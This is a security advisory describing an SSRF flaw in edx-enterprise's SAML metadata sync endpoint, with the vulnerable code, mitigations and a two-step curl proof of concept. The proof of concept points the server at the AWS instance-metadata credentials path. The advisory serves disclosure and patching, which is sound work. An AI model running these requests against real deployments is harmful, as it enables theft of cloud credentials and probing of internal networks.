edx-enterprise has SSRF via SAML metadata URL in sync_provider_data endpoint

Summary

The sync_provider_data endpoint in SAMLProviderDataViewSet fetches SAML metadata from a URL stored in SAMLProviderConfig.metadata_source. An authenticated user with the Enterprise Admin role can set this field to an arbitrary URL via the SAMLProviderConfigViewSet PATCH endpoint, then trigger a server-side HTTP request by calling sync_provider_data. The fetch in fetch_metadata_xml() passes the URL directly to requests.get() with no scheme enforcement, IP filtering, or timeout.

This vulnerability was introduced when the SAML admin viewsets were migrated from openedx-platform into edx-enterprise. A related fix for the equivalent fetch path in openedx-platform (the fetch_saml_metadata Celery task) was applied in GHSA-328g-7h4g-r2m9.

Details

Vulnerable code path:

enterprise/api/v1/views/saml_utils.py:

def fetch_metadata_xml(url):
    log.info("Fetching %s", url)
    if not url.lower().startswith('https'):
        log.warning("This SAML metadata URL is not secure! (%s)", url)
    response = requests.get(url, verify=True)  # No IP/scheme validation
    response.raise_for_status()

enterprise/api/v1/views/saml_provider_data.py:

@action(detail=False, methods=['post'], url_path='sync_provider_data')
def sync_provider_data(self, request):
    ...
    metadata_url = saml_provider.metadata_source  # set via SAMLProviderConfig PATCH
    xml = fetch_metadata_xml(metadata_url)        # triggers the fetch

Missing protections:
- No HTTPS enforcement (HTTP is allowed; the warning is not enforced)
- No blocking of loopback (127.0.0.0/8) or link-local (169.254.0.0/16) ranges
- No blocking of RFC 1918 private ranges
- No request timeout

Proof of Concept

Prerequisites: Authenticated user with Enterprise Admin role for any enterprise customer with a configured SAML Identity Provider.

Step 1: Set a malicious metadata URL via the provider config endpoint:

curl -X PATCH 'https://<instance>/auth/saml/v0/provider_config/<pk>/' \
  -H 'Authorization: Bearer <JWT>' \
  -H 'Content-Type: application/json' \
  -d '{"metadata_source": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

Step 2: Trigger the server-side fetch:

curl -X POST 'https://<instance>/auth/saml/v0/provider_data/sync_provider_data' \
  -H 'Authorization: Bearer <JWT>' \
  -H 'Content-Type: application/json' \
  -d '{"enterprise_customer_uuid": "<uuid>"}'

The server fetches the AWS metadata endpoint. Even though XML parsing will fail, the HTTP request is made and timing/error differences confirm reachability of internal addresses.

Impact

An Enterprise Admin can use this SSRF to:

• Steal cloud credentials: Access AWS/GCP/Azure instance metadata services to retrieve IAM temporary credentials, potentially enabling full cloud infrastructure compromise.
• Scan internal networks: Probe internal hosts, ports, and services behind the deployment's firewall.
• Access internal APIs: Reach databases, admin panels, or microservices not exposed to the internet.

Enterprise Admin is a delegated role typically granted to corporate training managers, not platform operators. It should not grant the ability to make the server issue arbitrary outbound HTTP requests.

Patches / Mitigations

Call validate_saml_metadata_url() (importable from common.djangoapps.third_party_auth.utils as of the openedx-platform fix in GHSA-328g-7h4g-r2m9) in fetch_metadata_xml() before calling requests.get(). A request timeout should also be added.

Operators should additionally enforce network-level egress filtering to block outbound connections from the Open edX server to 169.254.0.0/16 and RFC 1918 ranges as a complementary control, particularly to cover hostname-based URLs that cannot be validated at the application layer.